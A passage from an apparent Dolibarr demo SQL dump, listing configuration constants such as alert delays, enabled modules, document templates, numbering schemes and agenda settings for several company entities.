sur services expirés','2014-12-08 14:08:14'),(1757,'MAIN_DELAY_MEMBERS',2,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur cotisations adhérent en retard','2014-12-08 14:08:14'),(1758,'MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE',2,'62','chaine',0,'Tolérance de retard avant alerte (en jours) sur rapprochements bancaires à faire','2014-12-08 14:08:14'),(1759,'MAILING_EMAIL_FROM',2,'dolibarr@domain.com','chaine',0,'EMail emmetteur pour les envois d emailings','2014-12-08 14:08:14'),(1760,'MAIN_INFO_SOCIETE_COUNTRY',3,'1:FR:France','chaine',0,'','2015-02-26 21:56:28'),(1761,'MAIN_INFO_SOCIETE_NOM',3,'bbb','chaine',0,'','2014-12-08 14:08:20'),(1762,'MAIN_INFO_SOCIETE_STATE',3,'0','chaine',0,'','2015-02-27 14:20:27'),(1763,'MAIN_MONNAIE',3,'EUR','chaine',0,'','2014-12-08 14:08:20'),(1764,'MAIN_LANG_DEFAULT',3,'auto','chaine',0,'','2014-12-08 14:08:20'),(1765,'MAIN_MAIL_EMAIL_FROM',3,'dolibarr-robot@domain.com','chaine',0,'EMail emetteur pour les emails automatiques Dolibarr','2014-12-08 14:08:20'),(1766,'MAIN_MENU_STANDARD',3,'eldy_menu.php','chaine',0,'Module de gestion de la barre de menu du haut pour utilisateurs internes','2015-02-11 19:43:54'),(1767,'MAIN_MENUFRONT_STANDARD',3,'eldy_menu.php','chaine',0,'Module de gestion de la barre de menu du haut pour utilisateurs externes','2015-02-11 19:43:54'),(1768,'MAIN_MENU_SMARTPHONE',3,'iphone_backoffice.php','chaine',0,'Module de gestion de la barre de menu smartphone pour utilisateurs internes','2014-12-08 14:08:20'),(1769,'MAIN_MENUFRONT_SMARTPHONE',3,'iphone_frontoffice.php','chaine',0,'Module de gestion de la barre de menu smartphone pour utilisateurs externes','2014-12-08 14:08:20'),(1770,'MAIN_THEME',3,'eldy','chaine',0,'Default theme','2014-12-08 14:08:20'),(1771,'MAIN_DELAY_ACTIONS_TODO',3,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur actions planifiées non réalisées','2014-12-08 14:08:20'),(1772,'MAIN_DELAY_ORDERS_TO_PROCESS',3,'2','chaine',0,'Tolérance de retard avant alerte (en jours) sur commandes clients non traitées','2014-12-08 14:08:20'),(1773,'MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS',3,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur commandes fournisseurs non traitées','2014-12-08 14:08:20'),(1774,'MAIN_DELAY_PROPALS_TO_CLOSE',3,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur propales à cloturer','2014-12-08 14:08:20'),(1775,'MAIN_DELAY_PROPALS_TO_BILL',3,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur propales non facturées','2014-12-08 14:08:20'),(1776,'MAIN_DELAY_CUSTOMER_BILLS_UNPAYED',3,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur factures client impayées','2014-12-08 14:08:20'),(1777,'MAIN_DELAY_SUPPLIER_BILLS_TO_PAY',3,'2','chaine',0,'Tolérance de retard avant alerte (en jours) sur factures fournisseur impayées','2014-12-08 14:08:20'),(1778,'MAIN_DELAY_NOT_ACTIVATED_SERVICES',3,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services à activer','2014-12-08 14:08:20'),(1779,'MAIN_DELAY_RUNNING_SERVICES',3,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services expirés','2014-12-08 14:08:20'),(1780,'MAIN_DELAY_MEMBERS',3,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur cotisations adhérent en retard','2014-12-08 14:08:20'),(1781,'MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE',3,'62','chaine',0,'Tolérance de retard avant alerte (en jours) sur rapprochements bancaires à faire','2014-12-08 14:08:20'),(1782,'MAILING_EMAIL_FROM',3,'dolibarr@domain.com','chaine',0,'EMail emmetteur pour les envois d emailings','2014-12-08 14:08:20'),(1803,'SYSLOG_FILE',1,'DOL_DATA_ROOT/dolibarr.log','chaine',0,'','2014-12-08 14:15:08'),(1804,'SYSLOG_HANDLERS',1,'[\"mod_syslog_file\"]','chaine',0,'','2014-12-08 14:15:08'),(1805,'MAIN_MODULE_SKINCOLOREDITOR',3,'1',NULL,0,NULL,'2014-12-08 14:35:40'),(1929,'PAYPAL_ADD_PAYMENT_URL',1,'1','chaine',0,'','2014-12-12 12:11:05'),(1981,'MAIN_PROFID1_IN_ADDRESS',1,'0','chaine',0,'','2014-12-12 19:58:05'),(1982,'MAIN_PROFID2_IN_ADDRESS',1,'0','chaine',0,'','2014-12-12 19:58:05'),(1983,'MAIN_PROFID3_IN_ADDRESS',1,'0','chaine',0,'','2014-12-12 19:58:05'),(1984,'MAIN_PROFID4_IN_ADDRESS',1,'0','chaine',0,'','2014-12-12 19:58:05'),(1985,'MAIN_GENERATE_DOCUMENTS_WITHOUT_VAT',1,'0','chaine',0,'','2014-12-12 19:58:05'),(2835,'MAIN_USE_CONNECT_TIMEOUT',1,'10','chaine',0,'','2015-01-16 19:28:50'),(2836,'MAIN_USE_RESPONSE_TIMEOUT',1,'30','chaine',0,'','2015-01-16 19:28:50'),(2837,'MAIN_PROXY_USE',1,'0','chaine',0,'','2015-01-16 19:28:50'),(2838,'MAIN_PROXY_HOST',1,'localhost','chaine',0,'','2015-01-16 19:28:50'),(2839,'MAIN_PROXY_PORT',1,'8080','chaine',0,'','2015-01-16 19:28:50'),(2840,'MAIN_PROXY_USER',1,'aaa','chaine',0,'','2015-01-16 19:28:50'),(2841,'MAIN_PROXY_PASS',1,'bbb','chaine',0,'','2015-01-16 19:28:50'),(2854,'THEME_ELDY_RGB',1,'bfbf00','chaine',0,'','2015-01-18 10:02:53'),(2855,'THEME_ELDY_ENABLE_PERSONALIZED',1,'0','chaine',0,'','2015-01-18 10:02:55'),(2858,'MAIN_SESSION_TIMEOUT',1,'2000','chaine',0,'','2015-01-19 17:01:53'),(2868,'POS_SERVICES',1,'0','chaine',0,'','2015-01-19 17:16:51'),(2869,'POS_USE_TICKETS',1,'1','chaine',0,'','2015-01-19 17:16:51'),(2870,'POS_MAX_TTC',1,'100','chaine',0,'','2015-01-19 17:16:51'),(3190,'MAIN_MODULE_HOLIDAY',2,'1',NULL,0,NULL,'2015-02-01 08:52:34'),(3195,'INVOICE_SUPPLIER_ADDON_PDF',1,'canelle','chaine',0,'','2015-02-10 19:50:27'),(3199,'MAIN_FORCE_RELOAD_PAGE',1,'1','chaine',0,NULL,'2015-02-12 16:22:55'),(3223,'OVH_THIRDPARTY_IMPORT',1,'2','chaine',0,'','2015-02-13 16:20:18'),(4013,'MAIN_DELAY_ACTIONS_TODO',1,'7','chaine',0,'','2015-03-06 08:59:12'),(4014,'MAIN_DELAY_PROPALS_TO_CLOSE',1,'31','chaine',0,'','2015-03-06 08:59:12'),(4015,'MAIN_DELAY_PROPALS_TO_BILL',1,'7','chaine',0,'','2015-03-06 08:59:12'),(4016,'MAIN_DELAY_ORDERS_TO_PROCESS',1,'2','chaine',0,'','2015-03-06 08:59:12'),(4017,'MAIN_DELAY_CUSTOMER_BILLS_UNPAYED',1,'31','chaine',0,'','2015-03-06 08:59:12'),(4018,'MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS',1,'7','chaine',0,'','2015-03-06 08:59:12'),(4019,'MAIN_DELAY_SUPPLIER_BILLS_TO_PAY',1,'2','chaine',0,'','2015-03-06 08:59:12'),(4020,'MAIN_DELAY_RUNNING_SERVICES',1,'-15','chaine',0,'','2015-03-06 08:59:12'),(4021,'MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE',1,'62','chaine',0,'','2015-03-06 08:59:13'),(4022,'MAIN_DELAY_MEMBERS',1,'31','chaine',0,'','2015-03-06 08:59:13'),(4023,'MAIN_DISABLE_METEO',1,'0','chaine',0,'','2015-03-06 08:59:13'),(4044,'ADHERENT_VAT_FOR_SUBSCRIPTIONS',1,'0','',0,'','2015-03-06 16:06:38'),(4047,'ADHERENT_BANK_USE',1,'bankviainvoice','',0,'','2015-03-06 16:12:30'),(4049,'PHPSANE_SCANIMAGE',1,'/usr/bin/scanimage','chaine',0,'','2015-03-06 21:54:13'),(4050,'PHPSANE_PNMTOJPEG',1,'/usr/bin/pnmtojpeg','chaine',0,'','2015-03-06 21:54:13'),(4051,'PHPSANE_PNMTOTIFF',1,'/usr/bin/pnmtotiff','chaine',0,'','2015-03-06 21:54:13'),(4052,'PHPSANE_OCR',1,'/usr/bin/gocr','chaine',0,'','2015-03-06 21:54:13'),(4548,'ECM_AUTO_TREE_ENABLED',1,'1','chaine',0,'','2015-03-10 15:57:21'),(4579,'MAIN_MODULE_AGENDA',2,'1',NULL,0,NULL,'2015-03-13 15:29:19'),(4580,'MAIN_AGENDA_ACTIONAUTO_COMPANY_CREATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4581,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4582,'MAIN_AGENDA_ACTIONAUTO_PROPAL_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4583,'MAIN_AGENDA_ACTIONAUTO_PROPAL_SENTBYMAIL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4584,'MAIN_AGENDA_ACTIONAUTO_ORDER_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4585,'MAIN_AGENDA_ACTIONAUTO_ORDER_SENTBYMAIL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4586,'MAIN_AGENDA_ACTIONAUTO_BILL_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4587,'MAIN_AGENDA_ACTIONAUTO_BILL_PAYED',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4588,'MAIN_AGENDA_ACTIONAUTO_BILL_CANCEL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4589,'MAIN_AGENDA_ACTIONAUTO_BILL_SENTBYMAIL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4590,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4591,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4592,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4593,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_SENTBYMAIL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4594,'MAIN_AGENDA_ACTIONAUTO_BILL_UNVALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4688,'GOOGLE_ENABLE_AGENDA',2,'1','chaine',0,'','2015-03-13 15:36:29'),(4696,'GOOGLE_AGENDA_TIMEZONE',2,'Europe/Paris','chaine',0,'','2015-03-13 15:36:29'),(4697,'GOOGLE_AGENDA_NB',2,'5','chaine',0,'','2015-03-13 15:36:29'),(4725,'SOCIETE_CODECLIENT_ADDON',2,'mod_codeclient_leopard','chaine',0,'Module to control third parties codes','2015-03-13 20:21:35'),(4726,'SOCIETE_CODECOMPTA_ADDON',2,'mod_codecompta_panicum','chaine',0,'Module to control third parties codes','2015-03-13 20:21:35'),(4727,'SOCIETE_FISCAL_MONTH_START',2,'','chaine',0,'Mettre le numero du mois du debut d\\\'annee fiscale, ex: 9 pour septembre','2015-03-13 20:21:35'),(4728,'MAIN_SEARCHFORM_SOCIETE',2,'1','yesno',0,'Show form for quick company search','2015-03-13 20:21:35'),(4729,'MAIN_SEARCHFORM_CONTACT',2,'1','yesno',0,'Show form for quick contact search','2015-03-13 20:21:35'),(4730,'COMPANY_ADDON_PDF_ODT_PATH',2,'DOL_DATA_ROOT/doctemplates/thirdparties','chaine',0,NULL,'2015-03-13 20:21:35'),(4743,'MAIN_MODULE_CLICKTODIAL',2,'1',NULL,0,NULL,'2015-03-13 20:30:28'),(4744,'MAIN_MODULE_NOTIFICATION',2,'1',NULL,0,NULL,'2015-03-13 20:30:34'),(4745,'MAIN_MODULE_WEBSERVICES',2,'1',NULL,0,NULL,'2015-03-13 20:30:41'),(4746,'MAIN_MODULE_PROPALE',2,'1',NULL,0,NULL,'2015-03-13 20:32:38'),(4747,'PROPALE_ADDON_PDF',2,'azur','chaine',0,'Nom du gestionnaire de generation des propales en PDF','2015-03-13 20:32:38'),(4748,'PROPALE_ADDON',2,'mod_propale_marbre','chaine',0,'Nom du gestionnaire de numerotation des propales','2015-03-13 20:32:38'),(4749,'PROPALE_VALIDITY_DURATION',2,'15','chaine',0,'Duration of validity of business proposals','2015-03-13 20:32:38'),(4750,'PROPALE_ADDON_PDF_ODT_PATH',2,'DOL_DATA_ROOT/doctemplates/proposals','chaine',0,NULL,'2015-03-13 20:32:38'),(4752,'MAIN_MODULE_TAX',2,'1',NULL,0,NULL,'2015-03-13 20:32:47'),(4753,'MAIN_MODULE_DON',2,'1',NULL,0,NULL,'2015-03-13 20:32:54'),(4754,'DON_ADDON_MODEL',2,'html_cerfafr','chaine',0,'Nom du gestionnaire de generation de recu de dons','2015-03-13 20:32:54'),(4755,'POS_USE_TICKETS',2,'1','chaine',0,'','2015-03-13 20:33:09'),(4756,'POS_MAX_TTC',2,'100','chaine',0,'','2015-03-13 20:33:09'),(4757,'MAIN_MODULE_POS',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4758,'TICKET_ADDON',2,'mod_ticket_avenc','chaine',0,'Nom du gestionnaire de numerotation des tickets','2015-03-13 20:33:09'),(4759,'MAIN_MODULE_BANQUE',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4760,'MAIN_MODULE_FACTURE',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4761,'FACTURE_ADDON_PDF',2,'crabe','chaine',0,'Name of PDF model of invoice','2015-03-13 20:33:09'),(4762,'FACTURE_ADDON',2,'mod_facture_terre','chaine',0,'Name of numbering numerotation rules of invoice','2015-03-13 20:33:09'),(4763,'FACTURE_ADDON_PDF_ODT_PATH',2,'DOL_DATA_ROOT/doctemplates/invoices','chaine',0,NULL,'2015-03-13 20:33:09'),(4764,'MAIN_MODULE_SOCIETE',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4765,'MAIN_MODULE_PRODUCT',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4766,'PRODUCT_CODEPRODUCT_ADDON',2,'mod_codeproduct_leopard','chaine',0,'Module to control product codes','2015-03-13 20:33:09'),(4767,'MAIN_SEARCHFORM_PRODUITSERVICE',2,'1','yesno',0,'Show form for quick product search','2015-03-13 20:33:09'),(4773,'MAIN_MODULE_MAILING',2,'1',NULL,0,NULL,'2015-03-13 20:33:37'),(4774,'MAIN_MODULE_OPENSURVEY',2,'1',NULL,0,NULL,'2015-03-13 20:33:42'),(4782,'AGENDA_USE_EVENT_TYPE',2,'1','chaine',0,'','2015-03-13 20:53:36'),(4884,'AGENDA_DISABLE_EXT',2,'1','chaine',0,'','2015-03-13 22:03:40'),(4928,'COMMANDE_SUPPLIER_ADDON_NUMBER',1,'mod_commande_fournisseur_muguet','chaine',0,'Nom du gestionnaire de numerotation des commandes fournisseur','2015-03-22 09:24:29'),(4929,'INVOICE_SUPPLIER_ADDON_NUMBER',1,'mod_facture_fournisseur_cactus','chaine',0,'Nom du gestionnaire de numerotation des factures fournisseur','2015-03-22 09:24:29'),(5001,'MAIN_CRON_KEY',0,'bc54582fe30d5d4a830c6f582ec28810','chaine',0,'','2015-03-23 17:54:53'),(5009,'CRON_KEY',0,'2c2e755c20be2014098f629865598006','chaine',0,'','2015-03-23 18:06:24'),(5139,'SOCIETE_ADD_REF_IN_LIST',1,'','yesno',0,'Display customer ref into select list','2015-09-08 23:06:08'),(5150,'PROJECT_TASK_ADDON_PDF',1,'','chaine',0,'Name of PDF/ODT tasks manager class','2015-09-08 23:06:14'),(5151,'PROJECT_TASK_ADDON',1,'mod_task_simple','chaine',0,'Name of Numbering Rule task manager class','2015-09-08 23:06:14'),(5152,'PROJECT_TASK_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/tasks','chaine',0,'','2015-09-08 23:06:14'),(5239,'BOOKMARKS_SHOW_IN_MENU',1,'10','chaine',0,'','2016-03-02 15:42:26'),(5271,'DONATION_ART200',1,'','yesno',0,'Option Française - Eligibilité Art200 du CGI','2016-12-21 12:51:28'),(5272,'DONATION_ART238',1,'','yesno',0,'Option Française - Eligibilité Art238 bis du CGI','2016-12-21 12:51:28'),(5274,'DONATION_MESSAGE',1,'Thank you','chaine',0,'Message affiché sur le récépissé de versements ou dons','2016-12-21 12:51:28'),(5349,'MAIN_SEARCHFORM_CONTACT',1,'1','chaine',0,'','2017-10-03 10:11:33'),(5351,'MAIN_SEARCHFORM_PRODUITSERVICE',1,'1','chaine',0,'','2017-10-03 10:11:33'),(5352,'MAIN_SEARCHFORM_PRODUITSERVICE_SUPPLIER',1,'0','chaine',0,'','2017-10-03 10:11:33'),(5353,'MAIN_SEARCHFORM_ADHERENT',1,'1','chaine',0,'','2017-10-03 10:11:33'),(5354,'MAIN_SEARCHFORM_PROJECT',1,'0','chaine',0,'','2017-10-03 10:11:33'),(5394,'FCKEDITOR_ENABLE_DETAILS',1,'1','yesno',0,'WYSIWIG for products details lines for all entities','2017-11-04 15:27:44'),(5395,'FCKEDITOR_ENABLE_USERSIGN',1,'1','yesno',0,'WYSIWIG for user signature','2017-11-04 15:27:44'),(5396,'FCKEDITOR_ENABLE_MAIL',1,'1','yesno',0,'WYSIWIG for products details lines for all entities','2017-11-04 15:27:44'),(5398,'CATEGORIE_RECURSIV_ADD',1,'','yesno',0,'Affect parent categories','2017-11-04 15:27:46'),(5404,'MAIN_MODULE_CATEGORIE',1,'1',NULL,0,NULL,'2017-11-04 15:41:43'),(5415,'EXPEDITION_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/shipment','chaine',0,NULL,'2017-11-15 22:38:28'),(5416,'LIVRAISON_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/delivery','chaine',0,NULL,'2017-11-15 22:38:28'),(5426,'MAIN_MODULE_PROJET',1,'1',NULL,0,NULL,'2017-11-15 22:38:44'),(5427,'PROJECT_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/projects','chaine',0,NULL,'2017-11-15 22:38:44'),(5428,'PROJECT_USE_OPPORTUNIES',1,'1','chaine',0,NULL,'2017-11-15 22:38:44'),(5430,'MAIN_MODULE_EXPORT',1,'1',NULL,0,NULL,'2017-11-15 22:38:56'),(5431,'MAIN_MODULE_IMPORT',1,'1',NULL,0,NULL,'2017-11-15 22:38:58'),(5434,'EXPENSEREPORT_ADDON_PDF',1,'standard','chaine',0,'Name of manager to build PDF expense reports documents','2017-11-15 22:39:05'),(5437,'SALARIES_ACCOUNTING_ACCOUNT_CHARGE',1,'641','chaine',0,NULL,'2017-11-15 22:39:08'),(5441,'ADHERENT_ETIQUETTE_TEXT',1,'%FULLNAME%\n%ADDRESS%\n%ZIP% %TOWN%\n%COUNTRY%','text',0,'Text to print on member address sheets','2018-11-23 11:56:07'),(5443,'MAIN_MODULE_PRELEVEMENT',1,'1',NULL,0,NULL,'2017-11-15 22:39:33'),(5453,'MAIN_MODULE_CONTRAT',1,'1',NULL,0,NULL,'2017-11-15 22:39:52'),(5455,'MAIN_MODULE_FICHEINTER',1,'1',NULL,0,NULL,'2017-11-15 22:39:56'),(5459,'MAIN_MODULE_PAYPAL',1,'1',NULL,0,NULL,'2017-11-15 22:41:02'),(5463,'MAIN_MODULE_PROPALE',1,'1',NULL,0,NULL,'2017-11-15 22:41:47'),(5483,'GENBARCODE_BARCODETYPE_THIRDPARTY',1,'6','chaine',0,'','2018-01-16 15:49:43'),(5484,'PRODUIT_DEFAULT_BARCODE_TYPE',1,'2','chaine',0,'','2018-01-16 15:49:46'),(5586,'MAIN_DELAY_EXPENSEREPORTS_TO_PAY',1,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur les notes de frais impayées','2018-01-22 17:28:18'),(5587,'MAIN_FIX_FOR_BUGGED_MTA',1,'1','chaine',1,'Set constant to fix email ending from PHP with some linux ike system','2018-01-22 17:28:18'),(5590,'MAIN_VERSION_LAST_INSTALL',0,'3.8.3','chaine',0,'Dolibarr version when install','2018-01-22 17:28:42'),(5614,'MAIN_SIZE_SHORTLISTE_LIMIT',1,'4','chaine',0,'Longueur maximum des listes courtes (fiche client)','2018-03-13 10:54:46'),(5627,'SUPPLIER_PROPOSAL_ADDON_PDF',1,'aurore','chaine',0,'Name of submodule to generate PDF for supplier quotation request','2018-07-30 11:13:20'),(5628,'SUPPLIER_PROPOSAL_ADDON',1,'mod_supplier_proposal_marbre','chaine',0,'Name of submodule to number supplier quotation request','2018-07-30 11:13:20'),(5629,'SUPPLIER_PROPOSAL_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/supplier_proposal','chaine',0,NULL,'2018-07-30 11:13:20'),(5633,'MAIN_MODULE_API',1,'1',NULL,0,NULL,'2018-07-30 11:13:54'),(5634,'MAIN_MODULE_WEBSERVICES',1,'1',NULL,0,NULL,'2018-07-30 11:13:56'),(5635,'WEBSERVICES_KEY',1,'dolibarrkey','chaine',0,'','2018-07-30 11:14:04'),(5638,'MAIN_MODULE_EXTERNALRSS',1,'1',NULL,0,NULL,'2018-07-30 11:15:04'),(5642,'SOCIETE_CODECOMPTA_ADDON',1,'mod_codecompta_aquarium','chaine',0,'','2018-07-30 11:16:42'),(5707,'CASHDESK_NO_DECREASE_STOCK',1,'1','chaine',0,'','2018-07-30 13:38:11'),(5708,'MAIN_MODULE_PRODUCTBATCH',1,'1',NULL,0,NULL,'2018-07-30 13:38:11'),(5710,'MAIN_MODULE_STOCK',1,'1',NULL,0,NULL,'2018-07-30 13:38:11'),(5711,'MAIN_MODULE_PRODUCT',1,'1',NULL,0,NULL,'2018-07-30 13:38:11'),(5808,'MARGIN_TYPE',1,'costprice','chaine',0,'','2018-07-30 16:32:18'),(5809,'DISPLAY_MARGIN_RATES',1,'1','chaine',0,'','2018-07-30 16:32:20'),(5833,'ACCOUNTING_EXPORT_SEPARATORCSV',1,',','string',0,NULL,'2017-01-29 15:11:56'),(5840,'CHARTOFACCOUNTS',1,'2','chaine',0,NULL,'2017-01-29 15:11:56'),(5842,'ACCOUNTING_LENGTH_GACCOUNT',1,'','chaine',0,NULL,'2017-01-29 15:11:56'),(5843,'ACCOUNTING_LENGTH_AACCOUNT',1,'','chaine',0,NULL,'2017-01-29 15:11:56'),(5844,'ACCOUNTING_LIST_SORT_VENTILATION_TODO',1,'1','yesno',0,NULL,'2017-01-29 15:11:56'),(5845,'ACCOUNTING_LIST_SORT_VENTILATION_DONE',1,'1','yesno',0,NULL,'2017-01-29 15:11:56'),(5846,'ACCOUNTING_EXPORT_DATE',1,'%d%m%Y','chaine',0,NULL,'2017-01-29 15:11:56'),(5853,'MAIN_MODULE_WORKFLOW',1,'1',NULL,0,NULL,'2017-01-29 15:12:12'),(5854,'MAIN_MODULE_NOTIFICATION',1,'1',NULL,0,NULL,'2017-01-29 15:12:35'),(5855,'MAIN_MODULE_OAUTH',1,'1',NULL,0,NULL,'2017-01-29 15:12:41'),(5883,'MAILING_LIMIT_SENDBYWEB',0,'15','chaine',1,'Number of targets to defined packet size when sending mass email','2017-01-29 17:36:33'),(5885,'MAIN_SOAP_DEBUG',1,'0','chaine',1,'','2017-01-29 18:53:02'),(5925,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SUBSCRIPTION',1,'1','chaine',0,'','2017-02-01 14:48:55'),(5931,'DATABASE_PWD_ENCRYPTED',1,'1','chaine',0,'','2017-02-01 15:06:04'),(5941,'PRELEVEMENT_ICS',1,'ICS123456','chaine',0,'','2017-02-06 04:04:47'),(5942,'PRELEVEMENT_USER',1,'1','chaine',0,'','2017-02-06 04:04:47'),(5943,'BANKADDON_PDF',1,'sepamandate','chaine',0,'','2017-02-06 04:13:52'),(5947,'CHEQUERECEIPTS_THYME_MASK',1,'CHK{yy}{mm}-{0000@1}','chaine',0,'','2017-02-06 04:16:27'),(5948,'MAIN_MODULE_LOAN',1,'1',NULL,0,NULL,'2017-02-06 19:19:05'),(5954,'MAIN_SUBMODULE_EXPEDITION',1,'1','chaine',0,'','2017-02-06 23:57:37'),(5964,'MAIN_MODULE_TAX',1,'1',NULL,0,NULL,'2017-02-07 18:56:12'),(6019,'MAIN_INFO_SOCIETE_COUNTRY',2,'1:FR:France','chaine',0,'','2017-02-15 17:18:22'),(6020,'MAIN_INFO_SOCIETE_NOM',2,'MySecondCompany','chaine',0,'','2017-02-15 17:18:22'),(6021,'MAIN_INFO_SOCIETE_STATE',2,'0','chaine',0,'','2017-02-15 17:18:22'),(6022,'MAIN_MONNAIE',2,'EUR','chaine',0,'','2017-02-15 17:18:22'),(6023,'MAIN_LANG_DEFAULT',2,'auto','chaine',0,'','2017-02-15 17:18:22'),(6032,'MAIN_MODULE_MULTICURRENCY',1,'1',NULL,0,NULL,'2017-02-15 17:29:59'),(6048,'SYSLOG_FACILITY',0,'LOG_USER','chaine',0,'','2017-02-15 22:37:01'),(6050,'SYSLOG_FILE',0,'DOL_DATA_ROOT/dolibarr.log','chaine',0,'','2017-02-15 22:37:01'),(6052,'SYSLOG_HANDLERS',0,'[\"mod_syslog_file\"]','chaine',0,'','2017-02-15 22:37:01'),(6092,'MAIN_SIZE_SHORTLIST_LIMIT',0,'3','chaine',0,'Max length for small lists (tabs)','2017-05-12 09:02:38'),(6099,'MAIN_MODULE_SKYPE',1,'1',NULL,0,NULL,'2017-05-12 09:03:51'),(6100,'MAIN_MODULE_GRAVATAR',1,'1',NULL,0,NULL,'2017-05-12 09:03:54'),(6102,'PRODUCT_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/products','chaine',0,'','2017-08-27 13:29:07'),(6103,'CONTRACT_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/contracts','chaine',0,'','2017-08-27 13:29:07'),(6104,'USERGROUP_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/usergroups','chaine',0,'','2017-08-27 13:29:07'),(6105,'USER_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/users','chaine',0,'','2017-08-27 13:29:07'),(6106,'MAIN_ENABLE_OVERWRITE_TRANSLATION',1,'1','chaine',0,'Enable overwrote of translation','2017-08-27 13:29:07'),(6377,'COMMANDE_SAPHIR_MASK',1,'{yy}{mm}{000}{ttt}','chaine',0,'','2017-09-06 07:56:25'),(6518,'GOOGLE_DUPLICATE_INTO_THIRDPARTIES',1,'1','chaine',0,'','2017-09-06 19:43:57'),(6519,'GOOGLE_DUPLICATE_INTO_CONTACTS',1,'0','chaine',0,'','2017-09-06 19:43:57'),(6520,'GOOGLE_TAG_PREFIX',1,'Dolibarr (Thirdparties)','chaine',0,'','2017-09-06 19:43:57'),(6521,'GOOGLE_TAG_PREFIX_CONTACTS',1,'Dolibarr (Contacts/Addresses)','chaine',0,'','2017-09-06 19:43:57'),(6522,'GOOGLE_ENABLE_AGENDA',1,'1','chaine',0,'','2017-09-06 19:44:12'),(6523,'GOOGLE_AGENDA_COLOR1',1,'1B887A','chaine',0,'','2017-09-06 19:44:12'),(6524,'GOOGLE_AGENDA_COLOR2',1,'7A367A','chaine',0,'','2017-09-06 19:44:12'),(6525,'GOOGLE_AGENDA_COLOR3',1,'7A367A','chaine',0,'','2017-09-06 19:44:12'),(6526,'GOOGLE_AGENDA_COLOR4',1,'7A367A','chaine',0,'','2017-09-06 19:44:12'),(6527,'GOOGLE_AGENDA_COLOR5',1,'7A367A','chaine',0,'','2017-09-06 19:44:12'),(6528,'GOOGLE_AGENDA_TIMEZONE',1,'Europe/Paris','chaine',0,'','2017-09-06 19:44:12'),(6529,'GOOGLE_AGENDA_NB',1,'5','chaine',0,'','2017-09-06 19:44:12'),(6543,'MAIN_SMS_DEBUG',0,'1','chaine',1,'This is to enable OVH SMS debug','2017-09-06 19:44:34'),(6562,'BLOCKEDLOG_ENTITY_FINGERPRINT',1,'b63e359ffca54d5c2bab869916eaf23d4a736703028ccbf77ce1167c5f830e7b','chaine',0,'Numeric Unique Fingerprint','2018-01-19 11:27:15'),(6564,'BLOCKEDLOG_DISABLE_NOT_ALLOWED_FOR_COUNTRY',1,'FR','chaine',0,'This is list of country code where the module may be mandatory','2018-01-19 11:27:15'),(6565,'MAIN_MODULE_BOOKMARK',1,'1',NULL,0,'{\"authorid\":\"12\",\"ip\":\"82.240.38.230\"}','2018-01-19 11:27:34'),(6566,'MAIN_MODULE_ADHERENT',1,'1',NULL,0,'{\"authorid\":\"12\",\"ip\":\"82.240.38.230\"}','2018-01-19 11:27:56'),(6567,'ADHERENT_ADDON_PDF',1,'standard','chaine',0,'Name of PDF model of member','2018-01-19 11:27:56'),(6636,'MAIN_MODULE_TICKET_MODELS',1,'1','chaine',0,NULL,'2019-06-05 09:15:29'),(6647,'MAIN_MODULE_SOCIALNETWORKS',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2019-06-05 09:16:49'),(6795,'TICKET_ADDON',1,'mod_ticket_simple','chaine',0,'','2019-09-26 12:07:59'),(6796,'PRODUCT_CODEPRODUCT_ADDON',1,'mod_codeproduct_elephant','chaine',0,'','2019-09-26 